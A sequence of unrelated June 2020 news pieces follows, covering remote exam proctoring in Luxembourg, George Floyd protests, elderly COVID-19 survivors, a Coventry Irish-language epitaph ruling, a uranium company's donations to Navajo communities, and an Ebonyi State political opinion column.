Exams will begin at the University of Luxembourg on Monday, but concerns over data protection persist amid uncertainty over video-surveillance.

The UNEL (National Union of Luxembourg Students) has expressed concerns over data protection and the practical application of these measures prior to the start of exams.

Some exams that will be held remotely this year at the University of Luxembourg will be monitored by an application.

The academic institution has received confirmation that the programme used will comply with data protection, but no information has been provided regarding the protection of personal data.

UNEL said that students won't know how long the data will be recorded and who will have potential access, calling it an attack on fundamental rights without students' consent. No alternative has been suggested.

The union also criticised the practical aspect of using video-surveillance on students, as students would not have had sufficient opportunity to familiarise themselves with the app, and have not received additional details regarding its use.

The university has also not advised of potential defence options in the event that cheating accusations take place.

The student union said that people who do not wish to work with this programme are entitled to an alternative.

Students should have a choice, a choice that would have an influence not just on their grades but on their personal data.

PDF: Pressecommunique
More than 10,000 people have been arrested in the US during the protests against police violence as of Thursday, the tenth day of demonstrations in a row since George Floyd was murdered by Minneapolis police on Memorial Day.

In a tally taken of recorded arrests across the country, the Associated Press reported that the number of protesters arrested has grown by the hundreds each day. The news agency reported that one quarter of the arrests have been made in Los Angeles followed by New York City, which has 2,000 arrests, Dallas, and Philadelphia.

The AP analysis also showed that the majority of the arrests are for low-level offenses such as curfew violations and failure to disperse. Exposing as false the claims by President Donald Trump and Democratic politicians such as Minnesota Governor Tim Walz that the majority of the protesters are outside agitators, AP reported that, during a 24-hour period over the weekend in Minneapolis, 41 of the 52 people cited with protest-related arrests had Minnesota drivers licenses.

Additionally, in the US capital, AP reported, 86 percent of the more than 400 people arrested as of Wednesday afternoon were from Washington, D.C., Maryland and Virginia.

The actual number of those detained by law enforcement is unknown. The protesters are often placed in zip-ties and hauled away from the scene in buses, the report said, at a time when many of the nations jails are dealing with coronavirus outbreaks.

A protester is arrested for violating curfew near the Plaza Hotel on Wednesday, June 3, 2020, in the Manhattan borough of New York. (AP Photo/John Minchillo)

New York County Supreme Court Justice James Burke ruled on Thursday against a writ filed by New Yorks Legal Aid Society and refused to release anyone held longer than 24 hours between arrest and arraignment. While New York courts stipulate that those in custody over 24 hours are entitled to release, Judge Burke ruled that the pandemic and mass protests were a crisis within a crisis and the New York City Police Department had thereby provided justification for the delays.

The historically unprecedented protestsin the face of arrests and ongoing police assaults with tear gas, rubber bullets, flash grenades and other non-lethal crowd control munitionscontinued to expand across the country on Thursday. According to a summary published by USA Today, protests have been reported by local news media in 584 cities and towns across all 50 states, and as well as the territories of Puerto Rico and Guam.

In New York City, thousands of protesters marched from a memorial service for George Floyd in Brooklynwhich featured the first public appearance of Georges brother Terrance Floydacross the Brooklyn Bridge into Manhattan. The assembled crowed expressed hostility by turning their back on Democratic Mayor Bill de Blasio, drowning him out and forcing him to cut his remarks to 90 seconds at the memorial, as they chanted, I cant breathe, resign and defund the police.

Protesters were particularly angry about the baton assault by police on Wednesday night against those who remained on the street past the 8:00 p.m. curfew. On Thursday morning, both de Blasio and Democratic Governor Andrew Cuomo defended the violent actions of the police, which had been captured on video and seen widely across social media. Amid the melee, two police officers were shot and one was stabbed in the neck in Brooklyn.

Unlike the night before at the Manhattan Bridge, New York City police did not attempt to block demonstrators from entering the bridge, as the crowd swarmed both the northern land side and the pedestrian walkway. According to a report in the New York Times, Drivers in the opposite lane honked horns and raised fists in shows of support.

Protests in Washington, DC continued on Thursday near Lafayette Square and the Martin Luther King, Jr. Memorial, while many rallied near the DC/Maryland border. Earlier in the day, Washington, DCs Democratic Mayor Muriel Bowser lifted the 11:00 p.m. curfew, citing the fact that there had been no arrests the previous day. Bowser has adapted herself to the stationing of federal troops in the city, merely demanding that non-DC troops leave.

Meanwhile, military vehicles and police expanded the perimeter around the White House on Thursday, erecting tall metal fencing and putting in concrete barricades in preparation for what is expected to be a mass protest on Saturday.

According to a statement by the US Secret Service, The areas, including the entire Ellipse and its side panels, roadways and sidewalks, E Street and its sidewalks between 15th and 17th streets, First Division Monument and State Place, Sherman Park and Hamilton Place, Pennsylvania Avenue between 15th and 17th streets, and all of Lafayette Park, will remain closed until June 10.

Demonstrations took place in multiple locations in the Chicago area on Thursday, including several hundred protesters who marched from Lincoln Park High School to Whitney Young High School three miles away on the north side of the city. Other protests took place in the northern suburbs of Evanston, Grayslake and Zurich Lake.

Chicago Democratic Mayor Lori Lightfoot declined to answer questions at a press conference regarding a high-speed police chase on Wednesday evening that resulted in the death of a female motorist as well as two other incidents of police violence. One was at Brickyard Mall parking lot, where officers were caught on video pulling two women out of their vehicle and brutalizing them, with an officer kneeling on the neck of one of the two while she was on the ground. In another video, an officer is seen chasing down and punching a protester in Uptown on Monday night.

Tensions were high in New Orleans on Thursday evening, following the events of the previous night in which the New Orleans Police Department (NOPD) used tear gas to disperse a large group of protesters who marched onto the interstate from downtown New Orleans and headed for the Crescent City Connection bridge to cross over into the West Bank, Jefferson Parish. The Jefferson Parish police are notorious for their brutality and cruelty, known to be openly racist and blatantly abusive.

NOPD Superintendent Shaun Ferguson defended the repressive actions at a press conference on Thursday morning, showing social media videos of the confrontation and claiming that rubber bullets were not used on the crowd, although this was disputed by protesters. When asked about plans for Thursday evening, Ferguson said, We dont know what theyre planning to do tonight.

Despite rain, protesters gathered in Orlando, Florida for a fifth night in a row on Thursday. They assembled downtown near City Hall and prepared to march to the headquarters of the Orlando Police Department, where a dozen officers wearing helmets and carrying shields were reportedly waiting. On Wednesday night, tear gas was used after a crowd at City Hall of approximately 2,000 people began moving through downtown and violated a previously announced 8:00pm curfew.

Protests continue to grow in size and scope throughout the San Diego area, with many held Thursday in smaller cities and suburbs in addition to the downtown protests, which included over 2,000 people. Cities such as Chula Vista, Oceanside, Julian, North Park, Carlsbad, Encinitas, La Mesa and Santee held protests in the hundreds.

In the growing downtown protests, police and national guardsmen kettled in protesters and shot rubber bullets and tear gas indiscriminately into crowds. Just the day before, at least 200 armed National Guardsmen arrived in San Diego following a request from San Diego Sheriff Gore. After Wednesdays protests, the San Diego police chief announced a ban on chokeholds.

San Diego County is home to the largest military and naval base in the US. Stoked up by Trump and the brutality of the states response, some right-wing and white nationalist groups have been organizing in cities such as Santee and Carlsbad to join police and engage in violence against protesters. These small groups, however, represent a tiny fraction compared to the thousands who continue to take to the streets throughout the county.

In an example of the spread of protests across the US, hundreds of people demonstrated at the downtown parking garage in Grand Forks, North Dakota, 80 miles north of Fargo, and marched through the downtown area, as organizer Kollin King shouted over a bullhorn, Whats his name? and the crowd yelling back, George Floyd. The demonstration stopped briefly near the Red River and then continued on past its previously agreed-on route.
Source: Xinhua| 2020-06-06 00:51:41|Editor: huaxia

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ACCRA, June 5 (Xinhua) -- The government of Ghana organized a memorial ceremony on Friday in honor of African American George Floyd with a resolve to support blacks all over the world to break from racism.

The ceremony held at the historical W.E.B Du Bois memorial center for Pan African Culture was under the auspices of the Ministry of Tourism, Arts, and Culture.

"We would like to use this occasion to draw attention to the injustice that continues to be meted out to our brothers and sisters all over the world," the minister for Tourism Arts and Culture Barbara Oteng-Gyasi said.

She said the situation in the United States was so serious that it was not limited to only African Americans, but also visiting Africans.

"Racism in America continues to be a deadly pandemic, for which for more than 400 years now, our brothers and sisters in the U.S. have yearned for a cure," she said.

The minister was hopeful that Floyd's death would not be in vain, but would ignite the process towards the much-desired change.

The head of mission for the Diaspora African Forum Erika Bennett thanked the Ghanaian government for its support for the cause of Africans in the diaspora as well as honoring the memory of George Floyd.

Floyd, 46, died after a white police officer knelt on his neck for almost nine minutes until he stopped breathing.

Ghanaian President Nana Addo Dankwa Akufo-Addo, and former presidents Jerry John Rawlings and John Dramani Mahama have condemned the act by the white police officer, urging an end to racism against blacks in America. Enditem
Anna Marie Bresnan, who lives at Philadelphia Protestant Home, a retirement community in Northeast Philadelphia, is 84 and has chronic obstructive pulmonary disease.

John and Kitty Stagliano, of Exton, are both 82 and have diabetes and high blood pressure.

Norma Cammisa is 93, has dementia, takes medicine for high cholesterol, and lives in a nursing home in Collingswood.

All of them caught the coronavirus. All of them survived.

Why they did so well when thousands of other people over 80 have succumbed to the new disease is a mystery that intrigues and heartens physicians and aging experts. In New Jersey, 47% of the more than 12,000 people who have died of coronavirus were 80 and older. As of June 5, 58% of Pennsylvanias 5,886 deaths were in that age group. Age, plus chronic health problems such as heart and lung disease or diabetes, greatly increases the odds that people with COVID-19 will get very sick or die.

Even in nursing homes, which are populated by frail elders who need hands-on care, a high percentage of residents who test positive for the virus have had no symptoms or mild ones. Most survive.

Joshua Uy, a Penn Medicine geriatrician who is medical director of a West Philadelphia nursing home that had the citys first coronavirus outbreak, said about a third of the 22 residents there with confirmed coronavirus were asymptomatic, a third had mild symptoms, and the remainder got very sick. Five died.

We had a 96-year-old guy who never had a symptom, Uy said. Some with mild symptoms have "recovered and its like nothing ever happened to them.

Uy couldnt predict which residents at Renaissance Healthcare and Rehabilitation Center would be fine and which would crump," or go into rapid respiratory failure. Patients with obesity  another big risk factor  and frailty sometimes lived. One resident with serious lung disease survived. Its really amazing to me, he said. It blows my mind.

 READ MORE: Assume coronavirus is already there, says a Philly nursing home doctor who learned the hard way

Early in his centers two-week outbreak, he felt hopeless. On my worst day, I was worried that they were all going to die, to be honest. Then widespread testing revealed how many residents were asymptomatic. Some with symptoms began getting better. When you look at the numbers," he said, "I think most people will survive it. It just doesnt feel like it at the moment.

Other nursing home medical directors described similar proportions of residents with mild illness and equally surprising survivors. Nina OConnor, chief of the University of Pennsylvania Health Systems palliative care program, cared for a 101-year-old coronavirus patient with no symptoms. Jim Wright, medical director of Canterbury Rehabilitation and Healthcare Center near Richmond, Va., where 136 residents tested positive and 56 died, said one 91-year-old had poor oxygenation for a long time and kept removing her oxygen mask.

Shes in our memory center now, Wright said in wonderment. Her favorite thing to say is, I love you. She says it every time.

Jim Clancy, executive director of United Methodist Communities of Collingswood, where Cammisa lives, said a 91-year-old who was already on oxygen for advanced lung disease survived while the virus wiped out people who were not as sick.

"This is such a strange, random, and devastating virus. ... I dont think any two residents have been affected the same way, he said. Asked what was different about survivors, he said: This is the thing. There is no rhyme or reason to it.

Wright has started analyzing the numbers at his facility and found no clear trends. He said patients there for rehabilitation, who tend to be younger and stronger than full-time nursing home residents, were more likely to survive. There were no racial differences.

There was nothing I could put my finger on that determined your course, he said.

 READ MORE: When will it be safe to visit your mom in a nursing home after coronavirus lockdowns?

Doctor have theories about why some survive and some dont. Theyre waiting for science.

Scientists will sort this out eventually. In the meantime, speculation focuses on differences in the immune system, genetics, and possibly medications that could alter response to the virus. One doctor suspects that hydration and even sleeping position could be important.

Coronavirus often does not announce itself loudly in the elderly, a fact that allowed it to take hold in many nursing homes before anyone knew it was there. Instead of the classic symptoms we were all initially told to look for  fever, cough, and shortness of breath  people over 80 often lose their appetites, develop diarrhea, or become confused, agitated, or more subdued. Fevers over 99 are rare.

Sabine von Preyss Friedman, medical director of 50 facilities in Seattle, including one with an early and large outbreak, has learned to look for very subtle changes. People look at you sideways and they dont look right, youre doing a test, she said.

Doctors said some patients never have more than mild symptoms. Wright said some can go from no symptoms to death in a few hours. Others develop what appears to be an overreaction of the immune system, or cytokine storm, a few days into the infection. In all age groups, this is a hallmark of very serious illness. Elderly people who get this sick typically do not do well, doctors said.

George Anesi, a pulmonary and critical care doctor at Penn Medicine who sees only hospitalized patients, said the virus is harder on people the older they are. Those with low blood-oxygen levels and high inflammation levels do the worst. Those whose problems are confined to their lungs fare much better than those with multi-organ failure.

But that doesnt explain why people have such different reactions to the disease, a question at all ages.

It likely has to do with idiosyncrasies in their immune system and their genetics, said Amesh Adalja, a Johns Hopkins infectious-disease specialist and spokesperson for the Infectious Diseases Society of America. Thats part of the bigger puzzle with this virus.

The immune system wanes and becomes less efficient with age. These changes could affect both the initial response to the new virus and the more sustained response, experts said. With aging, underlying inflammation tends to increase and cells may not clear waste products as effectively. All of these things can affect the way older people respond to disease.

 READ MORE: For those in senior housing, coronavirus provokes both bonding and fear

Chronic illness can accelerate aging. When it comes to fighting infection, chronological age is less important than biological age. An 80-year-old still living independently is more likely to survive than an 80-year-old who is sick enough to be in a nursing home. But the body can also age unevenly. They might have Alzheimers, but their immunity is pretty good, said Nir Barzilai, director of the Einstein Institute for Aging and scientific director of the American Federation for Aging Research. Their liver can be younger than their brain.

Barzilai thinks certain common medications, including the diabetes drug metformin, may improve immune functioning. Nicole Osevala, a Penn State geriatric medicine specialist, wonders about angiotensin-converting enzyme (ACE) inhibitors, which recently were shown to decrease the risk of hospitalization in older people with COVID-19. Because COVID-19 can increase blood clotting, Stefan Gravenstein, director of geriatrics and palliative care at Alpert Medical School of Brown University, wonders whether people on blood thinners could be protected.

Viral load, or how much virus a patient was exposed to, may also be a factor, Barzilai said.

Because reflux can bring the virus up from the digestive system and lead to aspiration into the lungs, Gravenstein also said older people who go to sleep immediately after a meal  this increases reflux  could be at higher risk. Sleeping with the head elevated could be protective, although thats hard to test.

He is among many who think that maintaining hydration is crucial for elders with this disease. Nursing-home survivors may have been better at drinking enough liquids, he said.

Providence and gratitude

When Gus Cammisa heard that his mother, who will turn 94 later this month, had the disease late in April, he wondered whether this is whats going to take her." She was in relatively good health, although she had had a small stroke and sometimes had blood pressure fluctuations. Shed lived a clean life. With COVID-19, she had fevers, needed oxygen, and stopped eating. The staff at United Methodist Communities gave her intravenous fluids. She has very slowly returned to baseline. Cammisa credits good care and Providence. God decided, Not yet. 

John Stagliano was still delivering auto parts part time when he got sick March 23. While waiting for test results, he felt weak and feverish. He isolated in his man cave. Its not a hardship, believe me, he said. His wife, Catherine  everyone calls her Kitty  took care of him. He admits he was worried. Im damned scared the first week and Im thinking, Is this the way its going to end?"

His son, John Stagliano Jr., said his fathers doctors at Penn Medicine Home Health urged him to go to the hospital, but he resisted. Meanwhile, the son, who is a cancer survivor, worried about the fatigue he heard in his mothers voice. He and a brother insisted she go to the hospital. When they arrived to meet her ambulance, she passed out. I was just so exhausted, she remembered. I thought it was from climbing up and down the stairs. ... It was the most exhausted Ive ever been. She never had much of a fever or cough. Doctors said the virus may have attacked her heart.

Her husband never went to the hospital. She went twice. Shes getting better but is still tired. He feels fine. I cant wait to get back to work, he said.

Bresnan, who lives in independent living with her husband, tested positive on April 14, but shed already been sick for quite a while. She lost her appetite, along with her sense of taste and smell. She had severe diarrhea and terrible chills. Even though she has COPD, her oxygen levels were always normal and she never had a cough or shortness of breath. She was hospitalized for dehydration and her lungs showed signs of pneumonia. She wasnt frightened until she saw all the protective garb that nurses were wearing. I just felt so terrible, I didnt even care.

After a week in the hospital, she came home to the rehab unit at Protestant Home. Her energy is back now, but not her appetite. She has no idea why she lived and so many others didnt.

I am just so grateful, she said.
The Bishop of Coventry has said he is deeply saddened after a decision to ban an Irish language epitaph on a pensioners headstone due to political passions received widespread criticism.

The Church of England said the ruling, which prevented the family of 73-year-old Margaret Keane from inscribing the words In ar gcroithe go deo, translating to in our hearts forever, did not reflect their national policy.

The chancellor of the Consistory Court in the Diocese of Coventry, Stephen Eyre QC, ruled that the Irish Gaelic phrase must be accompanied by a translation which can be in a smaller font size.

Mrs Keanes family had sought permission for an inscription on her grave in the grounds of St Giles Church, in Exhall, near Nuneaton.

A letter from the Bishop of Coventry concerning a recent judgment from the Consistory Court - https://t.co/NwyqBTMurK  Diocese of Coventry (@CofE_Cov) June 4, 2020

Since the ruling, the Bishop of Coventry Christopher Cocksworth said he was deeply saddened whenever peoples identity is hurt or offended.

He said: I rejoice in the life of this great city with all its linguistic, ethnic, religious and racial richness.

And I rejoice in the Irish community of Coventry in all its forms and for the life that has flowed into the city through its people and which continues to flourish today.

I am deeply saddened whenever peoples identity is hurt or offended.

The bishop added: The Diocese of Coventry will continue to work for reconciliation in our world.

Even outside the plain anti-Irish ignorance of that; its also ruling by the logic of Well, crime, is down, but THE FEAR OF CRIME Is up! which ignores reality for the imagined fears of the small-minded. Deeply stupid.  Dara O Briain (@daraobriain) June 4, 2020

I am praying for this particular situation, especially for a distressed family, and I am ensuring they are made aware of their legal rights according to the procedures of the Consistory Court.

The judgment has provoked outrage, with Irish-born comedian Dara OBriain describing it as deeply stupid.

He said on Twitter: The judgment is that an imaginary person, at some time in the future, might see You live on in our Hearts, written in Irish, not understand it, but just presume it must be political, since its Irish and thenwhat? feel uncomfortable? Unsettled?

So the family dont get to give the tribute they want to their beloved mother because we apparently have to protect the feelings of some imaginary idiot in the future who cant imagine the Irish language can carry any human emotions other than Tiocfaidh ar La (an expression meaning Our Day Will Come, often used as an aspiration for a united Ireland).

Even outside the plain anti-Irish ignorance of that; its also ruling by the logic of Well, crime, is down, but the fear of crime is up! which ignores reality for the imagined fears of the small-minded. Deeply stupid.

In the judgment, Mr Eyre ruled: Should I permit an inscription which will be incomprehensible to almost all its readers?

Not only would the message of the inscription not be understood but there is a risk of it being misunderstood.

Given the passions and feelings connected with the use of Irish Gaelic there is a sad risk that the phrase would be regarded as some form of slogan or that its inclusion without translation would of itself be seen as a political statement.

That is not appropriate and it follows that the phrase In ar gcroithe go deo must be accompanied by a translation which can be in a smaller font size.

A spokeswoman for the Church of England said: This decision does not reflect any national Church of England policy.

This was a judgment from the consistory court of the Diocese of Coventry.

Consistory court judgments may, with permission, be appealed to the Provincial Court of the Archbishop, in this case the Arches Court of Canterbury.

The Irish language is an important part of the heritage of the Church of England.

It was, after all, Irish-speaking monks in Lindisfarne and beyond who played a central role in establishing the Church in what is now England.

Mrs Keanes family have launched an appeal against the decision.
Nigerian film actress, activist, and entrepreneur Hilda Dokubo has suggested what the punishment for rapists should be.

The actress shared in a new post what the effect of rape can do to a victim for a lifetime which brings her to her suggestion.

The Rivers State native has been very vocal about her stand on rape and how the adverse effect of 5 minutes pleasure can shatter a persons future.

READ ALSO  Hilda Dokubo Reacts To Ease Of Lockdown, Says Coronavirus Is Not Relaxing

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Sharing on Instagram, she wrote in part: How do you bury a child you have been weaving all your life around just because some #rapeidiots refused to understand a very simple sentence with just two alphabets NO

See Her Post Here:
This is the adorable moment a boy with Down syndrome meets his baby brother for the first time and can't stop smiling about it  and even gives him a kiss.

Two-year-old Erik Blomstrann had not seen his parents in three days while they were staying in hospital and was overjoyed when they came home to Wethersfield, Connecticut.

In the footage Erik's mother Nicole, 27, places new-born Bo in Erik's lap.

Two-year-old Erik Blomstrann could not contain his excitement at meeting his new baby brother Bo

Two-year-old Erik, who has Down syndrome and is non-verbal, gives Bo a lick on the forehead - his version of a kiss

Erik is so excited to meet his brother that he flashes an enormous smile at his mother and gives him a little lick on his forehead, which his parents say is his version of a kiss.

The two-year-old also carefully feels his brother's face.

When Nicole tried to pick Bo up again Erik gives him one last kiss.

Nicole said: 'I think more than anything we want people to see how much joy individuals with Down syndrome add to this world.

Erik (middle) pictured with his father Erik, 40, (left), mother Nicole, 27, (right) and new baby brother Bo

Erik, 40, and Nicole, 27, had not seen Erik, 2, in three days as they had been in hospital. Bo was born on May 22

'They just give love so effortlessly without having to be taught or reminded to be kind.

'We say Erik is sunshine because his light is just that bright and strong.

'He has shown us so much kindness exists in this world and the Down syndrome community is simply inspiring to be a part of.

'We want to share that sunshine with as many people as possible, especially when the world truly needs it right now.'

Erik, who is non-verbal, was taught how to sign 'baby' while his mother was pregnant and he frantically signed the word when his parents walked in the room with Bo.

The video was filmed by Erik's father, also called Erik, 40, and was shared online by Nicole.

Bo was born on Friday, May 22.
CLEVELAND, Ohio - Read more on what former military leaders had to say about Donald Trump, get the latest coronavirus news updates and check out other stories trending online today.

Nationwide protests continue

Military leaders condemn Trump over protest response (CNN)

Obama calls for police reforms, tells protesters to make people in power uncomfortable (NBC News)

Thousands march through NYC for seventh day of protests (WLNY)

On the edge of the D.C. protests: These people hand out water, masks and pizza (Washington Post)

In George Floyd protests, China sees a powerful propaganda opportunity (NPR)

Video captures police officer in Florida kneeling on a black mans neck during an arrest (CNN)

George Floyd memorial service planned as police to appear in court (CBS News)

Protest organizers say South LA deliberately avoided to target more affluent areas instead (Fox)

Latest coronavirus news

Hydroxychloroquine fails to prevent COVID-19, large study finds (NBC)

Will Americans still travel abroad? Only with cast-iron coronavirus cover (Reuters)

Why some taxpayers are still waiting for stimulus checks (CBS)

100-year-old coronavirus survivors share their longevity secrets (Fox News)

Swedens Coronavirus Response Chief Acknowledges Potential For Improvement (NPR)

Do Russians still trust Putin? (BBC)

Vaccine could require 2 shots. Heres why (USA Today)

Read complete prior coronavirus coverage.

World news

At least 39 injured in knife attack at China kindergarten (ABC News)

Stadium-sized asteroid will swing close by Earth on Saturday (USA Today)

Tropical Storm Cristobal makes landfall in Mexico and could move toward the US (MSN)

Other top trending headlines

Incognito mode detection still works in Chrome despite promise to fix (ZD Net)

AMC Theatres says theres substantial doubt it can stay in business (cleveland.com)

SpaceX launches 60 more satellites (Tech Crunch)

Cannes unveils 2020 lineup that could have been (Collider)

Agents of SHIELD confirms longstanding fan theory (NPR)
The last British governor of Hong Kong has accused China of using "mafia"-style tactics to bully banks into backing a controversial new security law that will stifle dissent.

Chris Patten hit out at Beijing's cheerleaders for trying to force Western companies into line, amid growing criticism of HSBC and Standard Chartered for backing a draconian crackdown on the territory's freedom.

Lord Patten last week called for a United Nations special envoy to be appointed to defend human rights in Hong Kong. Credit:AP

Lord Patten would not comment specifically on the banks' decisions. But said: "It's a bit like dealing with the mafia and I sympathise with people who feel they have to go along with it."

The peer contrasted the Beijing regime's approach with that of Britain, where banks have been strongly critical of the Government over the post-Brexit loss of so-called passporting rights allowing them to sell financial services on to the Continent.
Martin McDonagh's Olivier Award-winning play The Pillowman has postponed its West End run to 2021.

Directed by Matthew Dunster (Hangmen, A Very Very Very Dark Matter), the play tells the story of a writer questioned by authorities about a series of murders that bear similarities to his short stories. This production will star Aaron Taylor-Johnson (Kick-Ass, Avengers: Age of Ultron) as Katurian and Steve Pemberton (The League of Gentlemen, Benidorm) as Tupolski, with set and costume design by Anna Fleischle, sound design by Ian Dickinson and casting by Amy Ballfur.

McDonagh and director Dunster said: "Whilst we are naturally disappointed that The Pillowman can't go ahead this summer, we are fully committed to realising this new production in the near future. We have an extraordinary cast and creative team and can't wait to bring this new vision of the play to audiences."

New dates for the West End show and full casting are to be announced.

McDonagh's work includes the Academy Award-winning film Three Billboards Outside Ebbing, Missouri and The Aran Islands trilogy  The Cripple of Inishmaan won Daniel Radcliffe a WhatsOnStage Award for Best Actor in a Play. The Pillowman's only previous UK run was at the National Theatre in 2003.
VANCOUVER, British Columbia, June 04, 2020 (GLOBE NEWSWIRE) -- enCore Energy Corp. (EU.V) (ENCUF) (the "Company") reports that it has sourced and donated much needed medical supplies and personal protective equipment to several Navajo communities. The Company holds numerous projects within the traditional territory of the Navajo Nation, which has one of the highest incidents of coronavirus cases per capita in the United States. Although the peak appears to have passed, fears persist for Native Americans where pre-existing health and living conditions make populations especially vulnerable to the pandemic.



enCore Energy has provided medical supplies and personal protective equipment directly to medical and other facilities for the Navajo Nation including the:

Navajoland Nursing Home, Chinle, Arizona

Chinle Comprehensive Health Care Facility, Chinle, Arizona

St. Paul Catholic Church in Crownpoint, New Mexico

Crownpoint Health Care Facility, Crownpoint, New Mexico

Churchrock Chapter, Churchrock, New Mexico

Gallup Indian Medical Center, Gallup, New Mexico

Northern Navajo Medical Center, Shiprock, New Mexico

Navajo Police Headquarters, Windowrock, Arizona

Utah Farm Bureau-Farmers Feeding Utah: Miracle Utah Navajo Nation

Our thoughts and prayers are with the communities and as we seek to do our part and encourage others to contribute and uphold social distancing guidelines to protect all Navajo Elders and citizens in this challenging time.

enCore wishes to acknowledge and thank Adela M. Duran of Santa Fe New Mexico, without whose dedicated assistance in coordinating many of these donations, our efforts would not have been possible.

About enCore Energy Corp.

enCore Energy Corp., with assets entirely in the United States, has a 100% interest, free of holding costs, in 115,000+ acres (46,400 ha) of private mineral rights in New Mexico, including the Crownpoint and Hosta Butte uranium deposits. These deposits contain an estimated Indicated Mineral

Story continues

Resource of 26.6 million pounds of U3O8 at an average grade of 0.105% e U3O8(1). A portion of these resources are under NRC license. The Company also holds the Marquez project in New Mexico as well as the dominant land position in Arizona with additional other properties in Utah and Wyoming. The Company owns or has access to an extensive collection of proprietary North American and global uranium data including the Union Carbide, US Smelting and Refining, UV Industries, and Ranchers Exploration databases in addition to a leading collection of geophysical data for the high-grade Northern Arizona Breccia Pipe District.

For additional information:

William M. Sheriff

Executive Chairman

972-333-2214

info@encoreenergycorp.com

www.encoreenergycorp.com

(1) Technical Report, titled, "Crownpoint and Hosta Butte Uranium Project Mineral Resource Technical Report, McKinley County, New Mexico, USA, Mineral Resource Technical Report - National Instrument 43-101," dated May 14, 2012, and authored by Douglas L. Beahm, PEng, PGeo.

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

Cautionary Note Regarding Forward-Looking Statements

This news release includes certain forward-looking statements within the meaning of applicable securities law including the anticipated completion of the transaction and acquisition of the Marquez, Nose Rock and other properties, and the potential advancement thereof. Forward- looking statements are statements that relate to future, not past, events. In this context, forward - looking statements often address expected future business and financial performance, and often contain words such as "anticipate", "believe", "plan", "estimate", "expect", and "intend", statements that an action or event "may", "might", "could", "should", or "will" be taken or occur, or other similar expressions. Estimates of mineral resources and reserves are also forward looking statements because they constitute projections regarding the amount of minerals that may be encountered in the future. All statements, other than statements of historical fact, included herein including, without limitation; statements about the terms and completion of the transaction are forward-looking statements. By their nature, forward-looking statements involve known and unknown risks, uncertainties and other factors, which may cause the actual results, performance or achievements, or other future events, to be materially different from any future results, performance or achievements expressed or implied by such forward-looking statements. Forward-looking statements are made based on management's beliefs, estimates and opinions on the date that statements are made and the respective companies undertakes no obligation to update forward-looking statements if these beliefs, estimates and opinions or other circumstances should change, except as required by applicable securities laws. Investors are cautioned against attributing undue certainty to forward-looking statements.
In Ebonyi, it appears like the hornet's nest has been steered in the past few weeks. This is following the letter written to the government of Ebonyi State by one of it's own: the erstwhile SSG- Prof Ben Odo.

Prof Odo wrote a letter that apparently revealed one out of the myriad of nasty things that go on in the name of governance not only in Ebonyi but in Nigerian and indeed in African nations.

Odo wrote to tell the world how a substantial chunk of our collective resources was mindlessly squandered by a few in government in the name of an inexistent programme.

Prof Odo raised very germane issues in that letter that stand yet to be adequately addressed nor clarified by the government.

I don't know what the government thinks but it is my personal opinion that if those issues are not properly clarified, they may come back and hunt whoever I don't know tomorrow.

Instead of addressing such weighty and germane issues raised, the Hon Commissioner for Information - Barr Uchenna Orji recently tagged Odo's letter a love letter and wrote one of the most childish gibberish I have ever read in my adult life as a rejoinder.

Orji, in my thinking spoke not for himself but for the government as he signed the letter attaching all his designations and titles.

Instead of organizing a press conference to clear the air (on every single issue) on such grave allegations raised by someone who was once a part of the system, Barr Orji responded in a most laughable and unprofessional manner. His response left many of us wondering whether he wrote as Uchanna Orji writing his friend Ifeanyi Odo or he wrote as Ebonyi State government spokesperson addressing official matters of government.

And even if he had written Odo a friendly letter, the quantum of grammatical irregularities contained therein made those of us who did a bit of psychoanalytic theory in literature to unravel that he must have written under very intense pressure. That therefore left us with the conclusion that he must have been lambasted, scolded and ordered to respond to Odo. In a bid to satisfy whoever should be satisfied, Orji ended up reducing the number of his admirers and those who respect him.

Days later, precisely on the 30th of May, while in my farm at the village, the governor was reported by the EBBC as saying he holds no bad-will or ill-intention against any son or daughter of Ebonyi and that he as the father of the state doesn't have any issue with prof Odo. He also enjoined other people especially his appointees not to go on having altercations with anybody in the name of the government.

The summary of the governor's stance is that whatever Odo has done that the government feels offended has been forgiven.

Such is good of a father. That is how a father should talk.

But come to think of it, if the issues Odo raised are false, why didn't the government debunk them with verifiable facts before "forgiving" Odo? If they are true, then why don't the government want to make the account public, explain the whereabout of the unused monies and tender an unreserved apology to Ebonyians for the delay in being accountable?

Those who blame Prof Odo, those who say he is ambitious, those who say he is ungrateful, those who say he has no right to question whatever that is /was being done by the government of his state are the worst enemies of the state. Under this category falls the urchins that ravage the social media space in the name of being appointees of government. Ironically, greater number of them are very hungry boys from the same clan as Odo.

Who says a government shouldn't be criticised? Is a Governor infallible? Why can't he be constructively criticized so that he could sit up in such areas?

I attended a meeting one day where someone I respect a lot said that governors are addressed as Excellencies because their decisions are excellent and faultless. I argued against that and promised to make a research about it. It is people with such faulty orientations and servile mentality that are our problem.

Now that we are about to sleep with our two eyes closed, haven been freed from the entire brouhaha of the letters, the Elders of Ezza Nation have come up with their own hullabaloo.

I woke up this morning to behold the communique issued by the elders of Ezza nation.

After reading that piece, I laugh hysterically before weeping profusely. I laughed because the communique is fraught with lexical, grammatical and mechanical blunders. Paragraph 6 and the second to the last paragraph have the bulk of such errors. I wondered who scripted it. I also wondered who scrutinized it before making it public.

I took a deep breath and began weeping after a thoughtful consideration of that communique.

I was disturbed on why such a lopsided document has to emanate from such respected elders as HRHs of the oldest indigenous clan in the Abakaliki bloc of the state. I began considering what might have led them to come up with such kind of document wherein they exposed whom they are and how much they hate their own.

As traditional rulers, they are fathers. As a father, if your two sons are fighting, your duty is to separate the fight in a most amicable manner and never to take side as those HRHs did. In taking side as a father, you sow seeds of discord and division in your family. For me, it appears like the elders were not guided by the principle of one of our axioms in Ngbo where we say: onwedu onye maru ji ga efu unwu- no one knows the exact tuber of yam that will last till the period of famine.

Come to think of it: ladened with his own faults as we all have, Prof Odo should be celebrated (and not vilified) by his own people for many reasons.

(i)He is such a young man who has attained the highest height in his chosen career. To sit on a professorial chair at an age less than 40 in Nigeria is a no mean feat. It is a great achievement even if that professorial chair is of the university of Congo.

(ii)To be courageous enough to resign a juicy government position in this era where hunger or iberiberism (apologies to Sen. Rocha's) has made people reduce themselves to puppet just to remain in power and be suffering is something to be commended.

Prof Odo is not a saint. He doesn't write constituted authorities with respect. He doesn't address the highest office in his state with decorum supposed of a professor. We know all that but such is not enough for his own fathers to "denounce" such a gift as Prof Odo to such a people of the Ezza nation.

